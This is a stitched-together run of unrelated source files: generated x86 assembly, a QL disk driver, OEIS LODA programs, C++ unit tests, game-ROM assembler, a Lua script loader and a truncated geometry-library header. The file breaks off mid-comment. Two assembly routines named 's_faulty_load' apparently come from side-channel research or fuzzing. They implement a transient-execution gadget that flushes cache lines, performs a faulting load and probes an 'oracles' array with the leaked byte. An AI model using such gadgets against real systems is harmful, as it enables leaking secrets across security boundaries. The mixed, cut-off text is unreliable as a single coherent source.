.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x82f9, %rsi lea addresses_A_ht+0x1d795, %rdi xor $28066, %r8 mov $122, %rcx rep movsq nop nop nop nop nop sub %r13, %r13 lea addresses_WT_ht+0x19f39, %rcx clflush (%rcx) nop nop cmp $22140, %rbp mov $0x6162636465666768, %r8 movq %r8, (%rcx) nop nop nop cmp $19098, %rdi lea addresses_WC_ht+0x7e99, %rcx nop nop nop nop sub %rdx, %rdx mov (%rcx), %r13d cmp %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %r8 push %rbx push %rdi // Load lea addresses_D+0x1e39, %r12 clflush (%r12) nop nop nop nop nop dec %r11 mov (%r12), %r10d nop nop nop add $27457, %r11 // Store lea addresses_RW+0xe639, %r14 nop nop nop nop sub $20601, %rbx movl $0x51525354, (%r14) nop nop inc %r14 // Store lea addresses_RW+0x3111, %r11 nop nop add %r10, %r10 movb $0x51, (%r11) nop nop xor %r12, %r12 // Store lea addresses_RW+0x1e399, %rdi sub %r14, %r14 mov $0x5152535455565758, %r12 movq %r12, (%rdi) nop nop nop nop add $63040, %r14 // Faulty Load lea addresses_D+0xf1b9, %rdi nop xor $8704, %r10 vmovups (%rdi), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r11 lea oracles, %rbx and $0xff, %r11 shlq $12, %r11 mov (%rbx,%r11,1), %r11 pop %rdi pop %rbx pop %r8 pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_RW'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_RW'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_RW'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 4, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; DV3 QPC Hard Disk Hold / Release controller  1998 Tony Tebby section dv3 xdef hd_hold xdef hd_release include 'dev8_dv3_keys' include 'dev8_dv3_hd_keys' include 'dev8_keys_sys' include 'dev8_keys_err' include 'dev8_mac_assert' ;+++ ; This routine is called to take the disk controller ; ; d0 cr p preserved if OK ; d7 c p drive ID / number ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, err.nc, err.mchk ;--- hd_hold bset #7,sys_stiu(a6) ; take the sector transfer buffer bne.s hdh_nc cmp.b d0,d0 hdh_rts rts hdh_nc moveq #err.nc,d0 rts ;+++ ; This routine is called to release the disk controller ; ; d0 c p ; d7 c p drive ID / number ; a3 c p linkage block ; a4 c p drive definition ; ; status return accoding to d0 ;--- hd_release move.b hdl_apnd(a3),hdl_actm(a3) ; ... let it go bclr #7,sys_stiu(a6) ; relase the sector transfer buffer tst.l d0 rts end
.MODEL SMLL .STACK 100H .DATA ;jeshob variables declared hocche ; BH and BL --> 8bit registers , 1BYTE ; BX = BH+BL --> 16 bit register, 1 WORD ; general purpose register AX BX CX DX ; CS - points at the segment containing the current program. ;DS - generally points at segment where variables are defined. ;ES - extra segment register, it's up to a coder to define its usage. ;SS - points at the segment containing the stack. NUM DB 100 ; variable_name declared_by value NUM2 DB ? ;default CHAR DB '#' ;character STR DB "hello world" ; string .CODE MAIN PROC MOV AX, @DATA MOV DS , AX MOV AH,4CH INT 21H MAIN ENDP END MAIN
; A070408: a(n) = 7^n mod 22. ; 1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19,1,7,5,13,3,21,15,17,9,19 mov $1,1 mov $2,$0 lpb $2 mul $1,7 mod $1,22 sub $2,1 lpe
; A064276: Number of 2 X 2 singular integer matrices with elements from {0,...,n} up to row and column permutation. ; 1,5,13,25,42,62,90,118,155,195,243,287,352,404,472,548,629,697,797,873,986,1094,1202,1294,1443,1559,1687,1823,1984,2100,2296,2420,2597,2769,2937,3125,3366,3514,3702,3906,4167,4331,4611,4783,5040,5320,5548 mov $2,$0 add $2,1 mov $7,$0 lpb $2 mov $0,$7 sub $2,1 sub $0,$2 mov $3,3 mov $6,$0 lpb $0 sub $0,1 add $3,2 mov $5,$6 gcd $5,$0 add $5,$3 mov $3,$5 lpe pow $4,0 mov $5,5 sub $5,$3 sub $4,$5 mov $8,$4 add $8,2 add $1,$8 lpe mov $0,$1
/* * Copyright 2018 Google * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "Firestore/core/src/firebase/firestore/remote/datastore.h" #include "gtest/gtest.h" // TODO(varconst): implement
/* * (c) Copyright 2016 Hewlett Packard Enterprise Development LP * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <stdlib.h> #include "gtest/gtest.h" #include "alps/pegasus/pegasus_options.hh" #include "test_common.hh" using namespace alps; TEST_F(RegionFileTest, create) { RegionFile* f; EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("test_create").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); } TEST_F(RegionFileTest, create_resize) { RegionFile* f; loff_t file_size = 8*booksize(); EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("test_create").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); EXPECT_EQ(kErrorCodeOk, f->truncate(file_size)); } TEST_F(RegionFileTest, setxattr) { RegionFile* f; char interleave_request[] = {0x2, 0x3, 0x2, 0x3, 0x2, 0x3}; EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("fsetxattr").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); EXPECT_EQ(kErrorCodeOk, f->setxattr("user.LFS.InterleaveRequest", interleave_request, sizeof(interleave_request), 0)); } TEST_F(RegionFileTest, getxattr) { RegionFile* f; char buf[1024]; char interleave_request[] = {0x2, 0x3, 0x2, 0x3, 0x2, 0x3}; EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("fsetxattr").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); EXPECT_EQ(kErrorCodeOk, f->setxattr("user.LFS.InterleaveRequest", interleave_request, sizeof(interleave_request), 0)); EXPECT_EQ(kErrorCodeOk, f->getxattr("user.LFS.InterleaveRequest", buf, sizeof(interleave_request))); for (size_t i=0; i < sizeof(interleave_request); i++) { EXPECT_EQ(interleave_request[i], buf[i]); } } TEST_F(RegionFileTest, getxattr_noattr) { RegionFile* f; char buf[1024]; EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("fsetxattr_noattr").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); EXPECT_NE(kErrorCodeOk, f->getxattr("nonexistent_attribute", buf, sizeof(buf))); } TEST_F(RegionFileTest, creat_truncate1) { RegionFile* f; char buf[1024]; size_t test_file_size = 8*booksize(); char expected_interleave[] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}; EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("fsetxattr_noattr").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); EXPECT_EQ(kErrorCodeOk, f->truncate(test_file_size)); EXPECT_EQ(kErrorCodeOk, f->getxattr("user.LFS.Interleave", buf, sizeof(expected_interleave))); for (size_t i=0; i < sizeof(expected_interleave); i++) { EXPECT_EQ(expected_interleave[i], buf[i]); } } TEST_F(RegionFileTest, creat_truncate2) { RegionFile* f; char buf[1024]; size_t test_file_size = 8*booksize(); char interleave_request[] = {0x2, 0x3, 0x2, 0x3, 0x2, 0x3}; char expected_interleave[] = {0x2, 0x3, 0x2, 0x3, 0x2, 0x3, 0x0, 0x0}; EXPECT_NE((RegionFile*) 0, f = TmpfsRegionFile::construct(test_path("fsetxattr_noattr").c_str(), pegasus_options)); EXPECT_EQ(kErrorCodeOk, f->create(S_IRUSR | S_IWUSR)); EXPECT_EQ(kErrorCodeOk, f->setxattr("user.LFS.InterleaveRequest", interleave_request, sizeof(interleave_request), 0)); EXPECT_EQ(kErrorCodeOk, f->truncate(test_file_size)); EXPECT_EQ(kErrorCodeOk, f->getxattr("user.LFS.Interleave", buf, sizeof(expected_interleave))); for (size_t i=0; i < sizeof(expected_interleave); i++) { EXPECT_EQ(expected_interleave[i], buf[i]); } } #if 0 TEST(pfile, creat_truncate3) { int fd; char buf[MAX_INTERLEAVE_REQUEST_SIZE]; size_t test_file_size = 64*1024LLU*1024LLU; char interleave_request[] = {0x2, 0x3, 0x2, 0x3, 0x2, 0x3}; char expected_interleave[MAX_INTERLEAVE_REQUEST_SIZE]; int expected_interleave_size = test_file_size/LfsDevshm::kBookSize; ASSERT_LE(expected_interleave_size, MAX_INTERLEAVE_REQUEST_SIZE); // construct a round-robin expected-interleave request int max_n = numa_max_node(); for (int i=0; i<expected_interleave_size; i++) { expected_interleave[i] = i % max_n; } LfsDevshm::set_interleave_policy(LfsDevshm::kRoundRobin); EXPECT_LE(0, fd = LfsDevshm::creat("/lfs/test/creat_truncate3", S_IRUSR | S_IWUSR)); EXPECT_EQ(0, LfsDevshm::fsetxattr(fd, "user.interleave_request", interleave_request, sizeof(interleave_request), 0)); EXPECT_EQ(0, LfsDevshm::ftruncate(fd, test_file_size)); EXPECT_EQ(test_file_size, (size_t) lseek(fd, 0, SEEK_END)); EXPECT_EQ(0, LfsDevshm::fgetxattr(fd, "user.interleave", buf, expected_interleave_size)); for (int i=0; i < expected_interleave_size; i++) { EXPECT_EQ(expected_interleave[i], buf[i]); } LfsDevshm::close(fd); EXPECT_EQ(0, LfsDevshm::unlink("/lfs/test/creat_truncate3")); } #endif int main(int argc, char** argv) { ::alps::init_test_env<::alps::TestEnvironment>(argc, argv); ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }
; A131949: Row sums of triangle A131948. ; 1,6,16,32,56,92,148,240,400,692,1244,2312,4408,8556,16804,33248,66080,131684,262828,525048,1049416,2098076,4195316,8389712,16778416,33555732,67110268,134219240,268437080,536872652,1073743684,2147485632,4294969408,8589936836,17179871564,34359740888,68719479400,137438956284,274877909908,549755817008,1099511631056,2199023258996,4398046514716,8796093025992,17592186048376,35184372092972,70368744181988,140737488359840,281474976715360,562949953426212,1125899906847724,2251799813690552,4503599627376008,9007199254746716 mov $2,1 lpb $0 sub $0,1 mul $2,2 add $4,4 add $3,$4 lpe add $2,$3 add $0,$2 add $1,$0
.if lang == 0 // if JP .table table_file_jp .if card_game_desc_jp_len >= 1 .strn card_game_desc_jp_1 .endif .if card_game_desc_jp_len >= 2 .if (game_code >> 8) == 0x423457 // if BN4 .db 0xE8 .else // if BN5 or BN6 .db 0xE9 .endif .strn card_game_desc_jp_2 .endif .if card_game_desc_jp_len >= 3 .if (game_code >> 8) == 0x423457 // if BN4 .db 0xE8 .else // if BN5 or BN6 .db 0xE9 .endif .strn card_game_desc_jp_3 .endif .else // if EN .table table_file_en .if card_game_desc_jp_len >= 1 .strn card_game_desc_en_1 .endif .if card_game_desc_en_len > 1 .if (game_code >> 8) == 0x423457 // if BN4 .db 0xE8 .else // if BN5 or BN6 .db 0xE9 .endif .strn card_game_desc_en_2 .endif .if card_game_desc_en_len > 2 .if (game_code >> 8) == 0x423457 // if BN4 .db 0xE8 .else // if BN5 or BN6 .db 0xE9 .endif .strn card_game_desc_en_3 .endif .endif .if (game_code >> 8) == 0x423457 // if BN4 .db 0xE5 .else // if BN5 or BN6 .db 0xE6 .endif
.export _lvl_details .segment "ROM_02" _lvl_details: ; NOTE: This only exists here, but applies for all banks. DON'T CHANGE THE SIZE w/o considering this ; Start location; tileId, x, y, Number of chunks .byte 27, 80, 80, 3 .include "levels/processed/lvl1_tiles.asm" .segment "ROM_03" .byte 27, 80, 80, 2 .include "levels/processed/lvl2_tiles.asm" .segment "ROM_04" .byte 27, 80, 80, 4 .include "levels/processed/lvl3_tiles.asm" .segment "ROM_05" .byte 27, 80, 80, 3 .include "levels/processed/lvl4_tiles.asm" .segment "ROM_06" .byte 27, 80, 80, 5 .include "levels/processed/lvl5_tiles.asm" .segment "ROM_07" .byte 31, 120, 120, 9 .include "levels/processed/lvl6_tiles.asm"
; A055373: Invert transform applied twice to Pascal's triangle A007318. ; Submitted by Christian Krause ; 1,1,1,3,6,3,9,27,27,9,27,108,162,108,27,81,405,810,810,405,81,243,1458,3645,4860,3645,1458,243,729,5103,15309,25515,25515,15309,5103,729,2187,17496,61236,122472,153090,122472,61236,17496,2187,6561 mov $2,$0 seq $2,38221 ; Triangle whose (i,j)-th entry is binomial(i,j)*3^(i-j)*3^j. mov $0,$2 sub $0,3 div $0,3 add $0,1
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rax lea addresses_D_ht+0x11865, %r11 nop nop nop nop and $48295, %r9 movups (%r11), %xmm4 vpextrq $0, %xmm4, %rax nop nop xor $53436, %r9 pop %rax pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r9 push %rdi // Store mov $0x77f1720000000228, %r14 nop nop nop nop nop cmp $52379, %r9 mov $0x5152535455565758, %r13 movq %r13, %xmm0 movups %xmm0, (%r14) nop cmp %r9, %r9 // Faulty Load lea addresses_RW+0x162db, %r14 nop nop nop inc %rdi movb (%r14), %r9b lea oracles, %r12 and $0xff, %r9 shlq $12, %r9 mov (%r12,%r9,1), %r9 pop %rdi pop %r9 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 1}} {'32': 358} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A058396: Expansion of ((1-x)/(1-2*x))^3. ; 1,3,9,25,66,168,416,1008,2400,5632,13056,29952,68096,153600,344064,765952,1695744,3735552,8192000,17891328,38928384,84410368,182452224,393216000,845152256,1811939328,3875536896,8271167488,17616076800,37446746112,79456894976,168309030912,355945414656,751619276800,1584842932224,3337189588992,7017976561664,14740327759872,30923764531200,64802466562048,135652247076864,283673999966208,592636767371264,1236950581248000,2579454278762496,5374412836569088 mov $3,$0 mov $5,2 lpb $5,1 mov $0,$3 sub $5,1 add $0,$5 sub $0,1 mov $4,$0 add $0,5 mul $4,$0 lpb $0,1 add $4,$0 sub $0,1 mul $4,2 lpe mov $2,$5 sub $4,256 div $4,256 add $4,1 lpb $2,1 mov $1,$4 sub $2,1 lpe lpe lpb $3,1 sub $1,$4 mov $3,0 lpe
/** \file \author Shin'ichiro Nakaoka */ #include "LuaScriptItem.h" #include "LuaInterpreter.h" #include <cnoid/ItemManager> #include <cnoid/PutPropertyFunction> #include <cnoid/Archive> #include <cnoid/LazyCaller> #include <cnoid/MessageView> #include <cnoid/UTF8> #include <cnoid/stdx/filesystem> #include <fmt/format.h> #include "gettext.h" using namespace std; using namespace cnoid; namespace filesystem = cnoid::stdx::filesystem; namespace cnoid { class LuaScriptItemImpl { public: LuaScriptItem* self; LuaInterpreter* interpreter = nullptr; std::string scriptFilename; Connection sigFinishedConnection; Signal<void()> sigScriptFinished; bool doExecutionOnLoading; bool isUsingMainInterpreter; bool isBackgroundMode; LuaScriptItemImpl(LuaScriptItem* self); LuaScriptItemImpl(LuaScriptItem* self, LuaScriptItemImpl& org); ~LuaScriptItemImpl(); void useMainInterpreter(bool on); bool execute(); void doPutProperties(PutPropertyFunction& putProperty); }; } void LuaScriptItem::initializeClass(ExtensionManager* ext) { ext->itemManager().registerClass<LuaScriptItem, ScriptItem>(N_("LuaScriptItem")); ext->itemManager().addLoader<LuaScriptItem>( _("Lua Script"), "LUA-SCRIPT-FILE", "lua", [](LuaScriptItem* item, const std::string& filename, std::ostream& /* os */, Item* /* parentItem */){ return item->setScriptFilename(filename); }); } LuaScriptItem::LuaScriptItem() { impl = new LuaScriptItemImpl(this); } LuaScriptItemImpl::LuaScriptItemImpl(LuaScriptItem* self) : self(self) { useMainInterpreter(true); doExecutionOnLoading = false; isBackgroundMode = false; } LuaScriptItem::LuaScriptItem(const LuaScriptItem& org) : ScriptItem(org) { impl = new LuaScriptItemImpl(this, *org.impl); } LuaScriptItemImpl::LuaScriptItemImpl(LuaScriptItem* self, LuaScriptItemImpl& org) : self(self) { useMainInterpreter(org.isUsingMainInterpreter); doExecutionOnLoading = org.doExecutionOnLoading; isBackgroundMode = org.isBackgroundMode; } LuaScriptItem::~LuaScriptItem() { delete impl; } LuaScriptItemImpl::~LuaScriptItemImpl() { if(interpreter && !isUsingMainInterpreter){ delete interpreter; } } void LuaScriptItem::onDisconnectedFromRoot() { // terminate(); } void LuaScriptItemImpl::useMainInterpreter(bool on) { if(on != isUsingMainInterpreter || !interpreter){ if(interpreter && !isUsingMainInterpreter){ delete interpreter; } if(on){ interpreter = LuaInterpreter::mainInstance(); } else { interpreter = new LuaInterpreter; } isUsingMainInterpreter = on; } } bool LuaScriptItem::setScriptFilename(const std::string& filename) { bool result = false; filesystem::path scriptPath(filename); if(!filesystem::exists(scriptPath)){ MessageView::instance()->putln( fmt::format( _("Lua script file \"{}\" cannot be loaded. The file does not exist."), filename)); } else { impl->scriptFilename = filename; if(name().empty()){ setName(toUTF8(filesystem::path(fromUTF8(filename)).filename().string())); } if(impl->doExecutionOnLoading){ callLater([&](){ execute(); }, LazyCaller::PRIORITY_LOW); } result = true; } return result; } const std::string& LuaScriptItem::scriptFilename() const { return impl->scriptFilename; } void LuaScriptItem::setBackgroundMode(bool on) { impl->isBackgroundMode = on; } bool LuaScriptItem::isBackgroundMode() const { return impl->isBackgroundMode; } bool LuaScriptItem::isRunning() const { return false; } bool LuaScriptItem::execute() { return impl->execute(); } bool LuaScriptItemImpl::execute() { auto mv = MessageView::instance(); auto L = interpreter->state(); interpreter->beginRedirect(mv->cout()); bool hasError = false; if(luaL_loadfile(L, scriptFilename.c_str()) || lua_pcall(L, 0, LUA_MULTRET, 0)){ // error auto msg = lua_tostring(L, -1); if(msg == nullptr){ mv->putln( fmt::format(_("Error in loading Lua script \"{}\"."), scriptFilename), MessageView::Error); } else { mv->putln(msg, MessageView::Error); } hasError = true; } interpreter->endRedirect(); return !hasError; } bool LuaScriptItem::waitToFinish(double timeout) { return true; } std::string LuaScriptItem::resultString() const { return string(); } SignalProxy<void()> LuaScriptItem::sigScriptFinished() { return impl->sigScriptFinished; } bool LuaScriptItem::terminate() { return true; } Item* LuaScriptItem::doDuplicate() const { return new LuaScriptItem(*this); } void LuaScriptItem::doPutProperties(PutPropertyFunction& putProperty) { impl->doPutProperties(putProperty); } void LuaScriptItemImpl::doPutProperties(PutPropertyFunction& putProperty) { auto script = toUTF8(filesystem::path(fromUTF8(scriptFilename)).filename().string()); putProperty(_("Script"), script); putProperty(_("Execution on loading"), doExecutionOnLoading, changeProperty(doExecutionOnLoading)); putProperty(_("Use main interpreter"), isUsingMainInterpreter, [&](bool on){ useMainInterpreter(on); return true; }); putProperty(_("Background execution"), isBackgroundMode, changeProperty(isBackgroundMode)); } bool LuaScriptItem::store(Archive& archive) { if(!filePath().empty()){ archive.writeRelocatablePath("file", filePath()); } archive.write("useMainInterpreter", impl->isUsingMainInterpreter); archive.write("executionOnLoading", impl->doExecutionOnLoading); archive.write("backgroundExecution", impl->isBackgroundMode); return true; } bool LuaScriptItem::restore(const Archive& archive) { impl->useMainInterpreter(archive.get("useMainInterpreter", impl->isUsingMainInterpreter)); archive.read("executionOnLoading", impl->doExecutionOnLoading); archive.read("backgroundExecution", impl->isBackgroundMode); string filename; if(archive.readRelocatablePath("file", filename)){ bool doExecution = impl->doExecutionOnLoading; impl->doExecutionOnLoading = false; // disable execution in the load function bool loaded = load(filename); impl->doExecutionOnLoading = doExecution; if(loaded && doExecution){ archive.addPostProcess([&](){ execute(); }); } return loaded; } return true; }
/* * ICE / OPCODE - Optimized Collision Detection * http://www.codercorner.com/Opcode.htm * * Copyright (c) 2001-2008 Pierre Terdiman, pierre@codercorner.com This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** * Contains code for 3D vectors. * \file IcePoint.cpp * \author Pierre Terdiman * \date April, 4, 2000 */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** * 3D point. * * The name is "Point" instead of "Vector" since a vector is N-dimensional, whereas a point is an implicit "vector of dimension 3". * So the choice was between "Point" and "Vector3", the first one looked better (IMHO). * * Some people, then, use a typedef to handle both points & vectors using the same class: typedef Point Vector3; * This is bad since it opens the door to a lot of confusion while reading the code. I know it may sounds weird but check this out: * * \code * Point P0,P1 = some 3D points; * Point Delta 